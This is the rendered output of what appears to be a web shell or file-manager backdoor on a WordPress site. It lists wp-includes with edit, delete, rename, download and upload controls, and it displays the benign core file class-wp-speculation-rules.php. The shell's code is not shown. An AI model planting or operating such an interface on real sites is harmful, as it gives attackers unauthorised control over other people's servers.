⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-includes/

[DIR] ID3 [ delete | rename ]
[DIR] IXR [ delete | rename ]
[DIR] PHPMailer [ delete | rename ]
[DIR] Requests [ delete | rename ]
[DIR] SimplePie [ delete | rename ]
[DIR] Text [ delete | rename ]
[DIR] assets [ delete | rename ]
[DIR] block-bindings [ delete | rename ]
[DIR] block-patterns [ delete | rename ]
[DIR] block-supports [ delete | rename ]
[DIR] blocks [ delete | rename ]
[DIR] certificates [ delete | rename ]
[DIR] css [ delete | rename ]
[DIR] customize [ delete | rename ]
[DIR] fonts [ delete | rename ]
[DIR] html-api [ delete | rename ]
[DIR] images [ delete | rename ]
[DIR] interactivity-api [ delete | rename ]
[DIR] js [ delete | rename ]
[DIR] l10n [ delete | rename ]
[DIR] php-compat [ delete | rename ]
[DIR] pomo [ delete | rename ]
[DIR] rest-api [ delete | rename ]
[DIR] sitemaps [ delete | rename ]
[DIR] sodium_compat [ delete | rename ]
[DIR] style-engine [ delete | rename ]
[DIR] theme-compat [ delete | rename ]
[DIR] widgets [ delete | rename ]
[FILE] admin-bar.php [ edit | delete | rename | download ]
[FILE] atomlib.php [ edit | delete | rename | download ]
[FILE] author-template.php [ edit | delete | rename | download ]
[FILE] block-bindings.php [ edit | delete | rename | download ]
[FILE] block-editor.php [ edit | delete | rename | download ]
[FILE] block-i18n.json [ edit | delete | rename | download ]
[FILE] block-patterns.php [ edit | delete | rename | download ]
[FILE] block-template-utils.php [ edit | delete | rename | download ]
[FILE] block-template.php [ edit | delete | rename | download ]
[FILE] blocks.php [ edit | delete | rename | download ]
[FILE] bookmark-template.php [ edit | delete | rename | download ]
[FILE] bookmark.php [ edit | delete | rename | download ]
[FILE] cache-compat.php [ edit | delete | rename | download ]
[FILE] cache.php [ edit | delete | rename | download ]
[FILE] canonical.php [ edit | delete | rename | download ]
[FILE] capabilities.php [ edit | delete | rename | download ]
[FILE] category-template.php [ edit | delete | rename | download ]
[FILE] category.php [ edit | delete | rename | download ]
[FILE] class-IXR.php [ edit | delete | rename | download ]
[FILE] class-avif-info.php [ edit | delete | rename | download ]
[FILE] class-feed.php [ edit | delete | rename | download ]
[FILE] class-http.php [ edit | delete | rename | download ]
[FILE] class-json.php [ edit | delete | rename | download ]
[FILE] class-oembed.php [ edit | delete | rename | download ]
[FILE] class-phpass.php [ edit | delete | rename | download ]
[FILE] class-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-pop3.php [ edit | delete | rename | download ]
[FILE] class-requests.php [ edit | delete | rename | download ]
[FILE] class-simplepie.php [ edit | delete | rename | download ]
[FILE] class-smtp.php [ edit | delete | rename | download ]
[FILE] class-snoopy.php [ edit | delete | rename | download ]
[FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-category.php [ edit | delete | rename | download ]
[FILE] class-walker-comment.php [ edit | delete | rename | download ]
[FILE] class-walker-nav-menu.php [ edit | delete | rename | download ]
[FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-page.php [ edit | delete | rename | download ]
[FILE] class-wp-admin-bar.php [ edit | delete | rename | download ]
[FILE] class-wp-ajax-response.php [ edit | delete | rename | download ]
[FILE] class-wp-application-passwords.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ]
[FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ]
[FILE] class-wp-block-list.php [ edit | delete | rename | download ]
[FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser.php [ edit | delete | rename | download ]
[FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-supports.php [ edit | delete | rename | download ]
[FILE] class-wp-block-template.php [ edit | delete | rename | download ]
[FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type.php [ edit | delete | rename | download ]
[FILE] class-wp-block.php [ edit | delete | rename | download ]
[FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ]
[FILE] class-wp-comment-query.php [ edit | delete | rename | download ]
[FILE] class-wp-comment.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-control.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-manager.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-panel.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-section.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-setting.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ]
[FILE] class-wp-date-query.php [ edit | delete | rename | download ]
[FILE] class-wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-dependency.php [ edit | delete | rename | download ]
[FILE] class-wp-duotone.php [ edit | delete | rename | download ]
[FILE] class-wp-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-embed.php [ edit | delete | rename | download ]
[FILE] class-wp-error.php [ edit | delete | rename | download ]
[FILE] class-wp-exception.php [ edit | delete | rename | download ]
[FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-hook.php [ edit | delete | rename | download ]
[FILE] class-wp-http-cookie.php [ edit | delete | rename | download ]
[FILE] class-wp-http-curl.php [ edit | delete | rename | download ]
[FILE] class-wp-http-encoding.php [ edit | delete | rename | download ]
[FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ]
[FILE] class-wp-http-proxy.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-streams.php [ edit | delete | rename | download ]
[FILE] class-wp-http.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-list-util.php [ edit | delete | rename | download ]
[FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ]
[FILE] class-wp-locale.php [ edit | delete | rename | download ]
[FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ]
[FILE] class-wp-meta-query.php [ edit | delete | rename | download ]
[FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ]
[FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ]
[FILE] class-wp-network-query.php [ edit | delete | rename | download ]
[FILE] class-wp-network.php [ edit | delete | rename | download ]
[FILE] class-wp-object-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed.php [ edit | delete | rename | download ]
[FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ]
[FILE] class-wp-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-post-type.php [ edit | delete | rename | download ]
[FILE] class-wp-post.php [ edit | delete | rename | download ]
[FILE] class-wp-query.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ]
[FILE] class-wp-rewrite.php [ edit | delete | rename | download ]
[FILE] class-wp-role.php [ edit | delete | rename | download ]
[FILE] class-wp-roles.php [ edit | delete | rename | download ]
[FILE] class-wp-script-modules.php [ edit | delete | rename | download ]
[FILE] class-wp-scripts.php [ edit | delete | rename | download ]
[FILE] class-wp-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ]
[FILE] class-wp-site-query.php [ edit | delete | rename | download ]
[FILE] class-wp-site.php [ edit | delete | rename | download ]
[FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ]
[FILE] class-wp-styles.php [ edit | delete | rename | download ]
[FILE] class-wp-tax-query.php [ edit | delete | rename | download ]
[FILE] class-wp-taxonomy.php [ edit | delete | rename | download ]
[FILE] class-wp-term-query.php [ edit | delete | rename | download ]
[FILE] class-wp-term.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ]
[FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json.php [ edit | delete | rename | download ]
[FILE] class-wp-theme.php [ edit | delete | rename | download ]
[FILE] class-wp-token-map.php [ edit | delete | rename | download ]
[FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ]
[FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-user-query.php [ edit | delete | rename | download ]
[FILE] class-wp-user-request.php [ edit | delete | rename | download ]
[FILE] class-wp-user.php [ edit | delete | rename | download ]
[FILE] class-wp-walker.php [ edit | delete | rename | download ]
[FILE] class-wp-widget-factory.php [ edit | delete | rename | download ]
[FILE] class-wp-widget.php [ edit | delete | rename | download ]
[FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ]
[FILE] class-wp.php [ edit | delete | rename | download ]
[FILE] class-wpdb.php [ edit | delete | rename | download ]
[FILE] class.wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class.wp-scripts.php [ edit | delete | rename | download ]
[FILE] class.wp-styles.php [ edit | delete | rename | download ]
[FILE] comment-template.php [ edit | delete | rename | download ]
[FILE] comment.php [ edit | delete | rename | download ]
[FILE] compat.php [ edit | delete | rename | download ]
[FILE] cron.php [ edit | delete | rename | download ]
[FILE] date.php [ edit | delete | rename | download ]
[FILE] default-constants.php [ edit | delete | rename | download ]
[FILE] default-filters.php [ edit | delete | rename | download ]
[FILE] default-widgets.php [ edit | delete | rename | download ]
[FILE] deprecated.php [ edit | delete | rename | download ]
[FILE] embed-template.php [ edit | delete | rename | download ]
[FILE] embed.php [ edit | delete | rename | download ]
[FILE] error-protection.php [ edit | delete | rename | download ]
[FILE] feed-atom-comments.php [ edit | delete | rename | download ]
[FILE] feed-atom.php [ edit | delete | rename | download ]
[FILE] feed-rdf.php [ edit | delete | rename | download ]
[FILE] feed-rss.php [ edit | delete | rename | download ]
[FILE] feed-rss2-comments.php [ edit | delete | rename | download ]
[FILE] feed-rss2.php [ edit | delete | rename | download ]
[FILE] feed.php [ edit | delete | rename | download ]
[FILE] fonts.php [ edit | delete | rename | download ]
[FILE] formatting.php [ edit | delete | rename | download ]
[FILE] functions.php [ edit | delete | rename | download ]
[FILE] functions.wp-scripts.php [ edit | delete | rename | download ]
[FILE] functions.wp-styles.php [ edit | delete | rename | download ]
[FILE] general-template.php [ edit | delete | rename | download ]
[FILE] global-styles-and-settings.php [ edit | delete | rename | download ]
[FILE] http.php [ edit | delete | rename | download ]
[FILE] https-detection.php [ edit | delete | rename | download ]
[FILE] https-migration.php [ edit | delete | rename | download ]
[FILE] kses.php [ edit | delete | rename | download ]
[FILE] l10n.php [ edit | delete | rename | download ]
[FILE] link-template.php [ edit | delete | rename | download ]
[FILE] load.php [ edit | delete | rename | download ]
[FILE] locale.php [ edit | delete | rename | download ]
[FILE] media-template.php [ edit | delete | rename | download ]
[FILE] media.php [ edit | delete | rename | download ]
[FILE] meta.php [ edit | delete | rename | download ]
[FILE] ms-blogs.php [ edit | delete | rename | download ]
[FILE] ms-default-constants.php [ edit | delete | rename | download ]
[FILE] ms-default-filters.php [ edit | delete | rename | download ]
[FILE] ms-deprecated.php [ edit | delete | rename | download ]
[FILE] ms-files.php [ edit | delete | rename | download ]
[FILE] ms-functions.php [ edit | delete | rename | download ]
[FILE] ms-load.php [ edit | delete | rename | download ]
[FILE] ms-network.php [ edit | delete | rename | download ]
[FILE] ms-settings.php [ edit | delete | rename | download ]
[FILE] ms-site.php [ edit | delete | rename | download ]
[FILE] nav-menu-template.php [ edit | delete | rename | download ]
[FILE] nav-menu.php [ edit | delete | rename | download ]
[FILE] option.php [ edit | delete | rename | download ]
[FILE] pluggable-deprecated.php [ edit | delete | rename | download ]
[FILE] pluggable.php [ edit | delete | rename | download ]
[FILE] plugin.php [ edit | delete | rename | download ]
[FILE] post-formats.php [ edit | delete | rename | download ]
[FILE] post-template.php [ edit | delete | rename | download ]
[FILE] post-thumbnail-template.php [ edit | delete | rename | download ]
[FILE] post.php [ edit | delete | rename | download ]
[FILE] query.php [ edit | delete | rename | download ]
[FILE] registration-functions.php [ edit | delete | rename | download ]
[FILE] registration.php [ edit | delete | rename | download ]
[FILE] rest-api.php [ edit | delete | rename | download ]
[FILE] revision.php [ edit | delete | rename | download ]
[FILE] rewrite.php [ edit | delete | rename | download ]
[FILE] robots-template.php [ edit | delete | rename | download ]
[FILE] rss-functions.php [ edit | delete | rename | download ]
[FILE] rss.php [ edit | delete | rename | download ]
[FILE] script-loader.php [ edit | delete | rename | download ]
[FILE] script-modules.php [ edit | delete | rename | download ]
[FILE] session.php [ edit | delete | rename | download ]
[FILE] shortcodes.php [ edit | delete | rename | download ]
[FILE] sitemaps.php [ edit | delete | rename | download ]
[FILE] speculative-loading.php [ edit | delete | rename | download ]
[FILE] spl-autoload-compat.php [ edit | delete | rename | download ]
[FILE] style-engine.php [ edit | delete | rename | download ]
[FILE] taxonomy.php [ edit | delete | rename | download ]
[FILE] template-canvas.php [ edit | delete | rename | download ]
[FILE] template-loader.php [ edit | delete | rename | download ]
[FILE] template.php [ edit | delete | rename | download ]
[FILE] theme-i18n.json [ edit | delete | rename | download ]
[FILE] theme-previews.php [ edit | delete | rename | download ]
[FILE] theme-templates.php [ edit | delete | rename | download ]
[FILE] theme.json [ edit | delete | rename | download ]
[FILE] theme.php [ edit | delete | rename | download ]
[FILE] update.php [ edit | delete | rename | download ]
[FILE] user.php [ edit | delete | rename | download ]
[FILE] vars.php [ edit | delete | rename | download ]
[FILE] version.php [ edit | delete | rename | download ]
[FILE] widgets.php [ edit | delete | rename | download ]
[FILE] wp-db.php [ edit | delete | rename | download ]
[FILE] wp-diff.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-includes/class-wp-speculation-rules.php

<?php
/**
 * Class 'WP_Speculation_Rules'.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Class representing a set of speculation rules.
 *
 * @since 6.8.0
 * @access private
 */
final class WP_Speculation_Rules implements JsonSerializable {

	/**
	 * Stored rules, as a map of `$mode => $rules` pairs.
	 *
	 * Every `$rules` value is a map of `$id => $rule` pairs.
	 *
	 * @since 6.8.0
	 * @var array<string, array<string, mixed>>
	 */
	private $rules_by_mode = array();

	/**
	 * The allowed speculation rules modes as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $mode_allowlist = array(
		'prefetch'  => true,
		'prerender' => true,
	);

	/**
	 * The allowed speculation rules eagerness levels as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $eagerness_allowlist = array(
		'immediate'    => true,
		'eager'        => true,
		'moderate'     => true,
		'conservative' => true,
	);

	/**
	 * The allowed speculation rules sources as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $source_allowlist = array(
		'list'     => true,
		'document' => true,
	);

	/**
	 * Adds a speculation rule to the speculation rules to consider.
	 *
	 * @since 6.8.0
	 *
	 * @param string               $mode Speculative loading mode. Either 'prefetch' or 'prerender'.
	 * @param string               $id   Unique string identifier for the speculation rule.
	 * @param array<string, mixed> $rule Associative array of rule arguments.
	 * @return bool True on success, false if invalid parameters are provided.
	 */
	public function add_rule( string $mode, string $id, array $rule ): bool {
		if ( ! self::is_valid_mode( $mode ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid mode value */
					__( 'The value "%s" is not a valid speculation rules mode.' ),
					esc_html( $mode )
				),
				'6.8.0'
			);
			return false;
		}

		if ( ! $this->is_valid_id( $id ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid ID value */
					__( 'The value "%s" is not a valid ID for a speculation rule.' ),
					esc_html( $id )
				),
				'6.8.0'
			);
			return false;
		}

		if ( $this->has_rule( $mode, $id ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid ID value */
					__( 'A speculation rule with ID "%s" already exists.' ),
					esc_html( $id )
				),
				'6.8.0'
			);
			return false;
		}

		/*
		 * Perform some basic speculation rule validation.
		 * Every rule must have either a 'where' key or a 'urls' key, but not both.
		 * The presence of a 'where' key implies a 'source' of 'document', while the presence of a 'urls' key implies
		 * a 'source' of 'list'.
		 */
		if (
			( ! isset( $rule['where'] ) && ! isset( $rule['urls'] ) ) ||
			( isset( $rule['where'] ) && isset( $rule['urls'] ) )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: 1: allowed key, 2: alternative allowed key */
					__( 'A speculation rule must include either a "%1$s" key or a "%2$s" key, but not both.' ),
					'where',
					'urls'
				),
				'6.8.0'
			);
			return false;
		}
		if ( isset( $rule['source'] ) ) {
			if ( ! self::is_valid_source( $rule['source'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: invalid source value */
						__( 'The value "%s" is not a valid source for a speculation rule.' ),
						esc_html( $rule['source'] )
					),
					'6.8.0'
				);
				return false;
			}

			if ( 'list' === $rule['source'] && isset( $rule['where'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: source value, 2: forbidden key */
						__( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ),
						'list',
						'where'
					),
					'6.8.0'
				);
				return false;
			}

			if ( 'document' === $rule['source'] && isset( $rule['urls'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: source value, 2: forbidden key */
						__( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ),
						'document',
						'urls'
					),
					'6.8.0'
				);
				return false;
			}
		}

		// If there is an 'eagerness' key specified, make sure it's valid.
		if ( isset( $rule['eagerness'] ) ) {
			if ( ! self::is_valid_eagerness( $rule['eagerness'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: invalid eagerness value */
						__( 'The value "%s" is not a valid eagerness for a speculation rule.' ),
						esc_html( $rule['eagerness'] )
					),
					'6.8.0'
				);
				return false;
			}

			if ( isset( $rule['where'] ) && 'immediate' === $rule['eagerness'] ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: forbidden eagerness value */
						__( 'The eagerness value "%s" is forbidden for document-level speculation rules.' ),
						'immediate'
					),
					'6.8.0'
				);
				return false;
			}
		}

		if ( ! isset( $this->rules_by_mode[ $mode ] ) ) {
			$this->rules_by_mode[ $mode ] = array();
		}

		$this->rules_by_mode[ $mode ][ $id ] = $rule;
		return true;
	}

	/**
	 * Checks whether a speculation rule for the given mode and ID already exists.
	 *
	 * @since 6.8.0
	 *
	 * @param string $mode Speculative loading mode. Either 'prefetch' or 'prerender'.
	 * @param string $id   Unique string identifier for the speculation rule.
	 * @return bool True if the rule already exists, false otherwise.
	 */
	public function has_rule( string $mode, string $id ): bool {
		return isset( $this->rules_by_mode[ $mode ][ $id ] );
	}

	/**
	 * Returns the speculation rules data ready to be JSON-encoded.
	 *
	 * @since 6.8.0
	 *
	 * @return array<string, array<string, mixed>> Speculation rules data.
	 */
	#[ReturnTypeWillChange]
	public function jsonSerialize() {
		// Strip the IDs for JSON output, since they are not relevant for the Speculation Rules API.
		return array_map(
			static function ( array $rules ) {
				return array_values( $rules );
			},
			array_filter( $this->rules_by_mode )
		);
	}

	/**
	 * Checks whether the given ID is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $id Unique string identifier for the speculation rule.
	 * @return bool True if the ID is valid, false otherwise.
	 */
	private function is_valid_id( string $id ): bool {
		return (bool) preg_match( '/^[a-z][a-z0-9_-]+$/', $id );
	}

	/**
	 * Checks whether the given speculation rules mode is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $mode Speculation rules mode.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_mode( string $mode ): bool {
		return isset( self::$mode_allowlist[ $mode ] );
	}

	/**
	 * Checks whether the given speculation rules eagerness is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $eagerness Speculation rules eagerness.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_eagerness( string $eagerness ): bool {
		return isset( self::$eagerness_allowlist[ $eagerness ] );
	}

	/**
	 * Checks whether the given speculation rules source is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $source Speculation rules source.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_source( string $source ): bool {
		return isset( self::$source_allowlist[ $source ] );
	}
}

Upload File: